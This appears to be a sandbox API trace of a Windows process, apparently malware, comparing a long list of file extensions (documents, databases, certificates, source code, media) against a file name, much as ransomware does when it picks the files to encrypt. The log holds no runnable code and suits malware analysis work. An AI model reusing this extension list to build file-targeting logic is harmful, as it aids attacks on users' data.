	[0160.623] lstrcmpiW (lpString1=".3g2", lpString2="LOG1") returned -1
	[0160.623] lstrlenW (lpString=".3gp") returned 4
	[0160.623] lstrcmpiW (lpString1=".3gp", lpString2="LOG1") returned -1
	[0160.623] lstrlenW (lpString=".7z") returned 3
	[0160.623] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0160.624] lstrlenW (lpString=".accda") returned 6
	[0160.624] lstrcmpiW (lpString1=".accda", lpString2="D.LOG1") returned -1
	[0160.624] lstrlenW (lpString=".accdb") returned 6
	[0160.624] lstrcmpiW (lpString1=".accdb", lpString2="D.LOG1") returned -1
	[0160.624] lstrlenW (lpString=".accdc") returned 6
	[0160.624] lstrcmpiW (lpString1=".accdc", lpString2="D.LOG1") returned -1
	[0160.624] lstrlenW (lpString=".accde") returned 6
	[0160.624] lstrcmpiW (lpString1=".accde", lpString2="D.LOG1") returned -1
	[0160.624] lstrlenW (lpString=".accdt") returned 6
	[0160.624] lstrcmpiW (lpString1=".accdt", lpString2="D.LOG1") returned -1
	[0160.624] lstrlenW (lpString=".accdw") returned 6
	[0160.624] lstrcmpiW (lpString1=".accdw", lpString2="D.LOG1") returned -1
	[0160.624] lstrlenW (lpString=".adb") returned 4
	[0160.624] lstrcmpiW (lpString1=".adb", lpString2="LOG1") returned -1
	[0160.624] lstrlenW (lpString=".adp") returned 4
	[0160.624] lstrcmpiW (lpString1=".adp", lpString2="LOG1") returned -1
	[0160.624] lstrlenW (lpString=".ai") returned 3
	[0160.624] lstrcmpiW (lpString1=".ai", lpString2="OG1") returned -1
	[0160.624] lstrlenW (lpString=".ai3") returned 4
	[0160.624] lstrcmpiW (lpString1=".ai3", lpString2="LOG1") returned -1
	[0160.624] lstrlenW (lpString=".ai4") returned 4
	[0160.624] lstrcmpiW (lpString1=".ai4", lpString2="LOG1") returned -1
	[0160.624] lstrlenW (lpString=".ai5") returned 4
	[0160.624] lstrcmpiW (lpString1=".ai5", lpString2="LOG1") returned -1
	[0160.624] lstrlenW (lpString=".ai6") returned 4
	[0160.624] lstrcmpiW (lpString1=".ai6", lpString2="LOG1") returned -1
	[0160.624] lstrlenW (lpString=".ai7") returned 4
	[0160.624] lstrcmpiW (lpString1=".ai7", lpString2="LOG1") returned -1
	[0160.624] lstrlenW (lpString=".ai8") returned 4
	[0160.624] lstrcmpiW (lpString1=".ai8", lpString2="LOG1") returned -1
	[0160.624] lstrlenW (lpString=".anim") returned 5
	[0160.624] lstrcmpiW (lpString1=".anim", lpString2=".LOG1") returned -1
	[0160.624] lstrlenW (lpString=".arw") returned 4
	[0160.624] lstrcmpiW (lpString1=".arw", lpString2="LOG1") returned -1
	[0160.624] lstrlenW (lpString=".as") returned 3
	[0160.624] lstrcmpiW (lpString1=".as", lpString2="OG1") returned -1
	[0160.624] lstrlenW (lpString=".asa") returned 4
	[0160.625] lstrcmpiW (lpString1=".asa", lpString2="LOG1") returned -1
	[0160.625] lstrlenW (lpString=".asc") returned 4
	[0160.625] lstrcmpiW (lpString1=".asc", lpString2="LOG1") returned -1
	[0160.625] lstrlenW (lpString=".ascx") returned 5
	[0160.625] lstrcmpiW (lpString1=".ascx", lpString2=".LOG1") returned -1
	[0160.625] lstrlenW (lpString=".asm") returned 4
	[0160.625] lstrcmpiW (lpString1=".asm", lpString2="LOG1") returned -1
	[0160.625] lstrlenW (lpString=".asmx") returned 5
	[0160.625] lstrcmpiW (lpString1=".asmx", lpString2=".LOG1") returned -1
	[0160.625] lstrlenW (lpString=".asp") returned 4
	[0160.625] lstrcmpiW (lpString1=".asp", lpString2="LOG1") returned -1
	[0160.625] lstrlenW (lpString=".aspx") returned 5
	[0160.625] lstrcmpiW (lpString1=".aspx", lpString2=".LOG1") returned -1
	[0160.625] lstrlenW (lpString=".asr") returned 4
	[0160.625] lstrcmpiW (lpString1=".asr", lpString2="LOG1") returned -1
	[0160.625] lstrlenW (lpString=".asx") returned 4
	[0160.625] lstrcmpiW (lpString1=".asx", lpString2="LOG1") returned -1
	[0160.625] lstrlenW (lpString=".avi") returned 4
	[0160.625] lstrcmpiW (lpString1=".avi", lpString2="LOG1") returned -1
	[0160.625] lstrlenW (lpString=".avs") returned 4
	[0160.625] lstrcmpiW (lpString1=".avs", lpString2="LOG1") returned -1
	[0160.625] lstrlenW (lpString=".backup") returned 7
	[0160.625] lstrcmpiW (lpString1=".backup", lpString2="CD.LOG1") returned -1
	[0160.625] lstrlenW (lpString=".bak") returned 4
	[0160.625] lstrcmpiW (lpString1=".bak", lpString2="LOG1") returned -1
	[0160.625] lstrlenW (lpString=".bay") returned 4
	[0160.625] lstrcmpiW (lpString1=".bay", lpString2="LOG1") returned -1
	[0160.625] lstrlenW (lpString=".bd") returned 3
	[0160.625] lstrcmpiW (lpString1=".bd", lpString2="OG1") returned -1
	[0160.625] lstrlenW (lpString=".bin") returned 4
	[0160.625] lstrcmpiW (lpString1=".bin", lpString2="LOG1") returned -1
	[0160.625] lstrlenW (lpString=".bmp") returned 4
	[0160.625] lstrcmpiW (lpString1=".bmp", lpString2="LOG1") returned -1
	[0160.625] lstrlenW (lpString=".bz2") returned 4
	[0160.625] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0160.625] lstrlenW (lpString=".c") returned 2
	[0160.625] lstrcmpiW (lpString1=".c", lpString2="G1") returned -1
	[0160.625] lstrlenW (lpString=".cdr") returned 4
	[0160.626] lstrcmpiW (lpString1=".cdr", lpString2="LOG1") returned -1
	[0160.626] lstrlenW (lpString=".cer") returned 4
	[0160.626] lstrcmpiW (lpString1=".cer", lpString2="LOG1") returned -1
	[0160.626] lstrlenW (lpString=".cf") returned 3
	[0160.626] lstrcmpiW (lpString1=".cf", lpString2="OG1") returned -1
	[0160.626] lstrlenW (lpString=".cfc") returned 4
	[0160.626] lstrcmpiW (lpString1=".cfc", lpString2="LOG1") returned -1
	[0160.626] lstrlenW (lpString=".cfm") returned 4
	[0160.626] lstrcmpiW (lpString1=".cfm", lpString2="LOG1") returned -1
	[0160.626] lstrlenW (lpString=".cfml") returned 5
	[0160.626] lstrcmpiW (lpString1=".cfml", lpString2=".LOG1") returned -1
	[0160.626] lstrlenW (lpString=".cfu") returned 4
	[0160.626] lstrcmpiW (lpString1=".cfu", lpString2="LOG1") returned -1
	[0160.626] lstrlenW (lpString=".chm") returned 4
	[0160.626] lstrcmpiW (lpString1=".chm", lpString2="LOG1") returned -1
	[0160.626] lstrlenW (lpString=".cin") returned 4
	[0160.626] lstrcmpiW (lpString1=".cin", lpString2="LOG1") returned -1
	[0160.626] lstrlenW (lpString=".class") returned 6
	[0160.626] lstrcmpiW (lpString1=".class", lpString2="D.LOG1") returned -1
	[0160.626] lstrlenW (lpString=".clx") returned 4
	[0160.626] lstrcmpiW (lpString1=".clx", lpString2="LOG1") returned -1
	[0160.626] lstrlenW (lpString=".config") returned 7
	[0160.626] lstrcmpiW (lpString1=".config", lpString2="CD.LOG1") returned -1
	[0160.626] lstrlenW (lpString=".cpp") returned 4
	[0160.626] lstrcmpiW (lpString1=".cpp", lpString2="LOG1") returned -1
	[0160.626] lstrlenW (lpString=".cr2") returned 4
	[0160.626] lstrcmpiW (lpString1=".cr2", lpString2="LOG1") returned -1
	[0160.626] lstrlenW (lpString=".crt") returned 4
	[0160.626] lstrcmpiW (lpString1=".crt", lpString2="LOG1") returned -1
	[0160.626] lstrlenW (lpString=".crw") returned 4
	[0160.626] lstrcmpiW (lpString1=".crw", lpString2="LOG1") returned -1
	[0160.626] lstrlenW (lpString=".cs") returned 3
	[0160.626] lstrcmpiW (lpString1=".cs", lpString2="OG1") returned -1
	[0160.626] lstrlenW (lpString=".css") returned 4
	[0160.626] lstrcmpiW (lpString1=".css", lpString2="LOG1") returned -1
	[0160.626] lstrlenW (lpString=".csv") returned 4
	[0160.626] lstrcmpiW (lpString1=".csv", lpString2="LOG1") returned -1
	[0160.626] lstrlenW (lpString=".cub") returned 4
	[0160.627] lstrcmpiW (lpString1=".cub", lpString2="LOG1") returned -1
	[0160.627] lstrlenW (lpString=".dae") returned 4
	[0160.627] lstrcmpiW (lpString1=".dae", lpString2="LOG1") returned -1
	[0160.627] lstrlenW (lpString=".dat") returned 4
	[0160.627] lstrcmpiW (lpString1=".dat", lpString2="LOG1") returned -1
	[0160.627] lstrlenW (lpString=".db") returned 3
	[0160.627] lstrcmpiW (lpString1=".db", lpString2="OG1") returned -1
	[0160.627] lstrlenW (lpString=".dbf") returned 4
	[0160.627] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0160.627] lstrlenW (lpString=".dbx") returned 4
	[0160.627] lstrcmpiW (lpString1=".dbx", lpString2="LOG1") returned -1
	[0160.627] lstrlenW (lpString=".dc3") returned 4
	[0160.627] lstrcmpiW (lpString1=".dc3", lpString2="LOG1") returned -1
	[0160.627] lstrlenW (lpString=".dcm") returned 4
	[0160.627] lstrcmpiW (lpString1=".dcm", lpString2="LOG1") returned -1
	[0160.627] lstrlenW (lpString=".dcr") returned 4
	[0160.627] lstrcmpiW (lpString1=".dcr", lpString2="LOG1") returned -1
	[0160.627] lstrlenW (lpString=".der") returned 4
	[0160.627] lstrcmpiW (lpString1=".der", lpString2="LOG1") returned -1
	[0160.627] lstrlenW (lpString=".dib") returned 4
	[0160.627] lstrcmpiW (lpString1=".dib", lpString2="LOG1") returned -1
	[0160.627] lstrlenW (lpString=".dic") returned 4
	[0160.627] lstrcmpiW (lpString1=".dic", lpString2="LOG1") returned -1
	[0160.627] lstrlenW (lpString=".dif") returned 4
	[0160.627] lstrcmpiW (lpString1=".dif", lpString2="LOG1") returned -1
	[0160.627] lstrlenW (lpString=".divx") returned 5
	[0160.627] lstrcmpiW (lpString1=".divx", lpString2=".LOG1") returned -1
	[0160.627] lstrlenW (lpString=".djvu") returned 5
	[0160.627] lstrcmpiW (lpString1=".djvu", lpString2=".LOG1") returned -1
	[0160.627] lstrlenW (lpString=".dng") returned 4
	[0160.627] lstrcmpiW (lpString1=".dng", lpString2="LOG1") returned -1
	[0160.627] lstrlenW (lpString=".doc") returned 4
	[0160.627] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0160.627] lstrlenW (lpString=".docm") returned 5
	[0160.627] lstrcmpiW (lpString1=".docm", lpString2=".LOG1") returned -1
	[0160.627] lstrlenW (lpString=".docx") returned 5
	[0160.627] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0160.628] lstrlenW (lpString=".dot") returned 4
	[0160.628] lstrcmpiW (lpString1=".dot", lpString2="LOG1") returned -1
	[0160.628] lstrlenW (lpString=".dotm") returned 5
	[0160.628] lstrcmpiW (lpString1=".dotm", lpString2=".LOG1") returned -1
	[0160.628] lstrlenW (lpString=".dotx") returned 5
	[0160.628] lstrcmpiW (lpString1=".dotx", lpString2=".LOG1") returned -1
	[0160.628] lstrlenW (lpString=".dpx") returned 4
	[0160.628] lstrcmpiW (lpString1=".dpx", lpString2="LOG1") returned -1
	[0160.628] lstrlenW (lpString=".dqy") returned 4
	[0160.628] lstrcmpiW (lpString1=".dqy", lpString2="LOG1") returned -1
	[0160.628] lstrlenW (lpString=".dsn") returned 4
	[0160.628] lstrcmpiW (lpString1=".dsn", lpString2="LOG1") returned -1
	[0160.628] lstrlenW (lpString=".dt") returned 3
	[0160.628] lstrcmpiW (lpString1=".dt", lpString2="OG1") returned -1
	[0160.628] lstrlenW (lpString=".dtd") returned 4
	[0160.628] lstrcmpiW (lpString1=".dtd", lpString2="LOG1") returned -1
	[0160.628] lstrlenW (lpString=".dwg") returned 4
	[0160.628] lstrcmpiW (lpString1=".dwg", lpString2="LOG1") returned -1
	[0160.628] lstrlenW (lpString=".dwt") returned 4
	[0160.675] lstrcmpiW (lpString1=".dwt", lpString2="LOG1") returned -1
	[0160.675] lstrlenW (lpString=".dx") returned 3
	[0160.675] lstrcmpiW (lpString1=".dx", lpString2="OG1") returned -1
	[0160.675] lstrlenW (lpString=".dxf") returned 4
	[0160.675] lstrcmpiW (lpString1=".dxf", lpString2="LOG1") returned -1
	[0160.675] lstrlenW (lpString=".edml") returned 5
	[0160.675] lstrcmpiW (lpString1=".edml", lpString2=".LOG1") returned -1
	[0160.675] lstrlenW (lpString=".efd") returned 4
	[0160.675] lstrcmpiW (lpString1=".efd", lpString2="LOG1") returned -1
	[0160.675] lstrlenW (lpString=".elf") returned 4
	[0160.675] lstrcmpiW (lpString1=".elf", lpString2="LOG1") returned -1
	[0160.675] lstrlenW (lpString=".emf") returned 4
	[0160.675] lstrcmpiW (lpString1=".emf", lpString2="LOG1") returned -1
	[0160.676] lstrlenW (lpString=".emz") returned 4
	[0160.676] lstrcmpiW (lpString1=".emz", lpString2="LOG1") returned -1
	[0160.676] lstrlenW (lpString=".epf") returned 4
	[0160.676] lstrcmpiW (lpString1=".epf", lpString2="LOG1") returned -1
	[0160.676] lstrlenW (lpString=".eps") returned 4
	[0160.676] lstrcmpiW (lpString1=".eps", lpString2="LOG1") returned -1
	[0160.676] lstrlenW (lpString=".epsf") returned 5
	[0160.676] lstrcmpiW (lpString1=".epsf", lpString2=".LOG1") returned -1
	[0160.676] lstrlenW (lpString=".epsp") returned 5
	[0160.676] lstrcmpiW (lpString1=".epsp", lpString2=".LOG1") returned -1
	[0160.676] lstrlenW (lpString=".erf") returned 4
	[0160.676] lstrcmpiW (lpString1=".erf", lpString2="LOG1") returned -1
	[0160.676] lstrlenW (lpString=".exr") returned 4
	[0160.676] lstrcmpiW (lpString1=".exr", lpString2="LOG1") returned -1
	[0160.676] lstrlenW (lpString=".f4v") returned 4
	[0160.676] lstrcmpiW (lpString1=".f4v", lpString2="LOG1") returned -1
	[0160.676] lstrlenW (lpString=".fido") returned 5
	[0160.676] lstrcmpiW (lpString1=".fido", lpString2=".LOG1") returned -1
	[0160.676] lstrlenW (lpString=".flm") returned 4
	[0160.676] lstrcmpiW (lpString1=".flm", lpString2="LOG1") returned -1
	[0160.676] lstrlenW (lpString=".flv") returned 4
	[0160.676] lstrcmpiW (lpString1=".flv", lpString2="LOG1") returned -1
	[0160.676] lstrlenW (lpString=".frm") returned 4
	[0160.676] lstrcmpiW (lpString1=".frm", lpString2="LOG1") returned -1
	[0160.676] lstrlenW (lpString=".fxg") returned 4
	[0160.676] lstrcmpiW (lpString1=".fxg", lpString2="LOG1") returned -1
	[0160.676] lstrlenW (lpString=".geo") returned 4
	[0160.676] lstrcmpiW (lpString1=".geo", lpString2="LOG1") returned -1
	[0160.676] lstrlenW (lpString=".gif") returned 4
	[0160.676] lstrcmpiW (lpString1=".gif", lpString2="LOG1") returned -1
	[0160.676] lstrlenW (lpString=".grs") returned 4
	[0160.676] lstrcmpiW (lpString1=".grs", lpString2="LOG1") returned -1
	[0160.676] lstrlenW (lpString=".gz") returned 3
	[0160.676] lstrcmpiW (lpString1=".gz", lpString2="OG1") returned -1
	[0160.676] lstrlenW (lpString=".h") returned 2
	[0160.676] lstrcmpiW (lpString1=".h", lpString2="G1") returned -1
	[0160.676] lstrlenW (lpString=".hdr") returned 4
	[0160.676] lstrcmpiW (lpString1=".hdr", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".hpp") returned 4
	[0160.677] lstrcmpiW (lpString1=".hpp", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".hta") returned 4
	[0160.677] lstrcmpiW (lpString1=".hta", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".htc") returned 4
	[0160.677] lstrcmpiW (lpString1=".htc", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".htm") returned 4
	[0160.677] lstrcmpiW (lpString1=".htm", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".html") returned 5
	[0160.677] lstrcmpiW (lpString1=".html", lpString2=".LOG1") returned -1
	[0160.677] lstrlenW (lpString=".icb") returned 4
	[0160.677] lstrcmpiW (lpString1=".icb", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".ics") returned 4
	[0160.677] lstrcmpiW (lpString1=".ics", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".iff") returned 4
	[0160.677] lstrcmpiW (lpString1=".iff", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".inc") returned 4
	[0160.677] lstrcmpiW (lpString1=".inc", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".indd") returned 5
	[0160.677] lstrcmpiW (lpString1=".indd", lpString2=".LOG1") returned -1
	[0160.677] lstrlenW (lpString=".ini") returned 4
	[0160.677] lstrcmpiW (lpString1=".ini", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".iqy") returned 4
	[0160.677] lstrcmpiW (lpString1=".iqy", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".j2c") returned 4
	[0160.677] lstrcmpiW (lpString1=".j2c", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".j2k") returned 4
	[0160.677] lstrcmpiW (lpString1=".j2k", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".java") returned 5
	[0160.677] lstrcmpiW (lpString1=".java", lpString2=".LOG1") returned -1
	[0160.677] lstrlenW (lpString=".jp2") returned 4
	[0160.677] lstrcmpiW (lpString1=".jp2", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".jpc") returned 4
	[0160.677] lstrcmpiW (lpString1=".jpc", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".jpe") returned 4
	[0160.677] lstrcmpiW (lpString1=".jpe", lpString2="LOG1") returned -1
	[0160.677] lstrlenW (lpString=".jpeg") returned 5
	[0160.677] lstrcmpiW (lpString1=".jpeg", lpString2=".LOG1") returned -1
	[0160.678] lstrlenW (lpString=".jpf") returned 4
	[0160.678] lstrcmpiW (lpString1=".jpf", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".jpg") returned 4
	[0160.678] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".jpx") returned 4
	[0160.678] lstrcmpiW (lpString1=".jpx", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".js") returned 3
	[0160.678] lstrcmpiW (lpString1=".js", lpString2="OG1") returned -1
	[0160.678] lstrlenW (lpString=".jsf") returned 4
	[0160.678] lstrcmpiW (lpString1=".jsf", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".json") returned 5
	[0160.678] lstrcmpiW (lpString1=".json", lpString2=".LOG1") returned -1
	[0160.678] lstrlenW (lpString=".jsp") returned 4
	[0160.678] lstrcmpiW (lpString1=".jsp", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".kdc") returned 4
	[0160.678] lstrcmpiW (lpString1=".kdc", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".kmz") returned 4
	[0160.678] lstrcmpiW (lpString1=".kmz", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".kwm") returned 4
	[0160.678] lstrcmpiW (lpString1=".kwm", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".lasso") returned 6
	[0160.678] lstrcmpiW (lpString1=".lasso", lpString2="D.LOG1") returned -1
	[0160.678] lstrlenW (lpString=".lbi") returned 4
	[0160.678] lstrcmpiW (lpString1=".lbi", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".lgf") returned 4
	[0160.678] lstrcmpiW (lpString1=".lgf", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".lgp") returned 4
	[0160.678] lstrcmpiW (lpString1=".lgp", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".log") returned 4
	[0160.678] lstrcmpiW (lpString1=".log", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".m1v") returned 4
	[0160.678] lstrcmpiW (lpString1=".m1v", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".m4a") returned 4
	[0160.678] lstrcmpiW (lpString1=".m4a", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".m4v") returned 4
	[0160.678] lstrcmpiW (lpString1=".m4v", lpString2="LOG1") returned -1
	[0160.678] lstrlenW (lpString=".max") returned 4
	[0160.678] lstrcmpiW (lpString1=".max", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".md") returned 3
	[0160.679] lstrcmpiW (lpString1=".md", lpString2="OG1") returned -1
	[0160.679] lstrlenW (lpString=".mda") returned 4
	[0160.679] lstrcmpiW (lpString1=".mda", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mdb") returned 4
	[0160.679] lstrcmpiW (lpString1=".mdb", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mde") returned 4
	[0160.679] lstrcmpiW (lpString1=".mde", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mdf") returned 4
	[0160.679] lstrcmpiW (lpString1=".mdf", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mdw") returned 4
	[0160.679] lstrcmpiW (lpString1=".mdw", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mef") returned 4
	[0160.679] lstrcmpiW (lpString1=".mef", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mft") returned 4
	[0160.679] lstrcmpiW (lpString1=".mft", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mfw") returned 4
	[0160.679] lstrcmpiW (lpString1=".mfw", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mht") returned 4
	[0160.679] lstrcmpiW (lpString1=".mht", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mhtml") returned 6
	[0160.679] lstrcmpiW (lpString1=".mhtml", lpString2="D.LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mka") returned 4
	[0160.679] lstrcmpiW (lpString1=".mka", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mkidx") returned 6
	[0160.679] lstrcmpiW (lpString1=".mkidx", lpString2="D.LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mkv") returned 4
	[0160.679] lstrcmpiW (lpString1=".mkv", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mos") returned 4
	[0160.679] lstrcmpiW (lpString1=".mos", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mov") returned 4
	[0160.679] lstrcmpiW (lpString1=".mov", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mp3") returned 4
	[0160.679] lstrcmpiW (lpString1=".mp3", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mp4") returned 4
	[0160.679] lstrcmpiW (lpString1=".mp4", lpString2="LOG1") returned -1
	[0160.679] lstrlenW (lpString=".mpeg") returned 5
	[0160.679] lstrcmpiW (lpString1=".mpeg", lpString2=".LOG1") returned 1
	[0160.680] lstrlenW (lpString=".mpg") returned 4
	[0160.680] lstrcmpiW (lpString1=".mpg", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".mpv") returned 4
	[0160.680] lstrcmpiW (lpString1=".mpv", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".mrw") returned 4
	[0160.680] lstrcmpiW (lpString1=".mrw", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".msg") returned 4
	[0160.680] lstrcmpiW (lpString1=".msg", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".mxl") returned 4
	[0160.680] lstrcmpiW (lpString1=".mxl", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".myd") returned 4
	[0160.680] lstrcmpiW (lpString1=".myd", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".myi") returned 4
	[0160.680] lstrcmpiW (lpString1=".myi", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".nef") returned 4
	[0160.680] lstrcmpiW (lpString1=".nef", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".nrw") returned 4
	[0160.680] lstrcmpiW (lpString1=".nrw", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".obj") returned 4
	[0160.680] lstrcmpiW (lpString1=".obj", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".odb") returned 4
	[0160.680] lstrcmpiW (lpString1=".odb", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".odc") returned 4
	[0160.680] lstrcmpiW (lpString1=".odc", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".odm") returned 4
	[0160.680] lstrcmpiW (lpString1=".odm", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".odp") returned 4
	[0160.680] lstrcmpiW (lpString1=".odp", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".ods") returned 4
	[0160.680] lstrcmpiW (lpString1=".ods", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".oft") returned 4
	[0160.680] lstrcmpiW (lpString1=".oft", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".one") returned 4
	[0160.680] lstrcmpiW (lpString1=".one", lpString2="LOG1") returned -1
	[0160.680] lstrlenW (lpString=".onepkg") returned 7
	[0160.680] lstrcmpiW (lpString1=".onepkg", lpString2="CD.LOG1") returned -1
	[0160.680] lstrlenW (lpString=".onetoc2") returned 8
	[0160.681] lstrcmpiW (lpString1=".onetoc2", lpString2="BCD.LOG1") returned -1
	[0160.681] lstrlenW (lpString=".opt") returned 4
	[0160.681] lstrcmpiW (lpString1=".opt", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".oqy") returned 4
	[0160.681] lstrcmpiW (lpString1=".oqy", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".orf") returned 4
	[0160.681] lstrcmpiW (lpString1=".orf", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".p12") returned 4
	[0160.681] lstrcmpiW (lpString1=".p12", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".p7b") returned 4
	[0160.681] lstrcmpiW (lpString1=".p7b", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".p7c") returned 4
	[0160.681] lstrcmpiW (lpString1=".p7c", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".pam") returned 4
	[0160.681] lstrcmpiW (lpString1=".pam", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".pbm") returned 4
	[0160.681] lstrcmpiW (lpString1=".pbm", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".pct") returned 4
	[0160.681] lstrcmpiW (lpString1=".pct", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".pcx") returned 4
	[0160.681] lstrcmpiW (lpString1=".pcx", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".pdd") returned 4
	[0160.681] lstrcmpiW (lpString1=".pdd", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".pdf") returned 4
	[0160.681] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".pdp") returned 4
	[0160.681] lstrcmpiW (lpString1=".pdp", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".pef") returned 4
	[0160.681] lstrcmpiW (lpString1=".pef", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".pem") returned 4
	[0160.681] lstrcmpiW (lpString1=".pem", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".pff") returned 4
	[0160.681] lstrcmpiW (lpString1=".pff", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".pfm") returned 4
	[0160.681] lstrcmpiW (lpString1=".pfm", lpString2="LOG1") returned -1
	[0160.681] lstrlenW (lpString=".pfx") returned 4
	[0160.682] lstrcmpiW (lpString1=".pfx", lpString2="LOG1") returned -1
	[0160.682] lstrlenW (lpString=".pgm") returned 4
	[0160.682] lstrcmpiW (lpString1=".pgm", lpString2="LOG1") returned -1
	[0160.682] lstrlenW (lpString=".php") returned 4
	[0160.682] lstrcmpiW (lpString1=".php", lpString2="LOG1") returned -1
	[0160.682] lstrlenW (lpString=".php3") returned 5
	[0160.682] lstrcmpiW (lpString1=".php3", lpString2=".LOG1") returned 1
	[0160.682] lstrlenW (lpString=".php4") returned 5
	[0160.682] lstrcmpiW (lpString1=".php4", lpString2=".LOG1") returned 1
	[0160.682] lstrlenW (lpString=".php5") returned 5
	[0160.682] lstrcmpiW (lpString1=".php5", lpString2=".LOG1") returned 1
	[0160.682] lstrlenW (lpString=".phtml") returned 6
	[0160.682] lstrcmpiW (lpString1=".phtml", lpString2="D.LOG1") returned -1
	[0160.682] lstrlenW (lpString=".pict") returned 5
	[0160.682] lstrcmpiW (lpString1=".pict", lpString2=".LOG1") returned 1
	[0160.682] lstrlenW (lpString=".pl") returned 3
	[0160.682] lstrcmpiW (lpString1=".pl", lpString2="OG1") returned -1
	[0160.682] lstrlenW (lpString=".pls") returned 4
	[0160.682] lstrcmpiW (lpString1=".pls", lpString2="LOG1") returned -1
	[0160.682] lstrlenW (lpString=".pm") returned 3
	[0160.682] lstrcmpiW (lpString1=".pm", lpString2="OG1") returned -1
	[0160.682] lstrlenW (lpString=".png") returned 4
	[0160.682] lstrcmpiW (lpString1=".png", lpString2="LOG1") returned -1
	[0160.682] lstrlenW (lpString=".pnm") returned 4
	[0160.682] lstrcmpiW (lpString1=".pnm", lpString2="LOG1") returned -1
	[0160.682] lstrlenW (lpString=".pot") returned 4
	[0160.682] lstrcmpiW (lpString1=".pot", lpString2="LOG1") returned -1
	[0160.682] lstrlenW (lpString=".potm") returned 5
	[0160.682] lstrcmpiW (lpString1=".potm", lpString2=".LOG1") returned 1
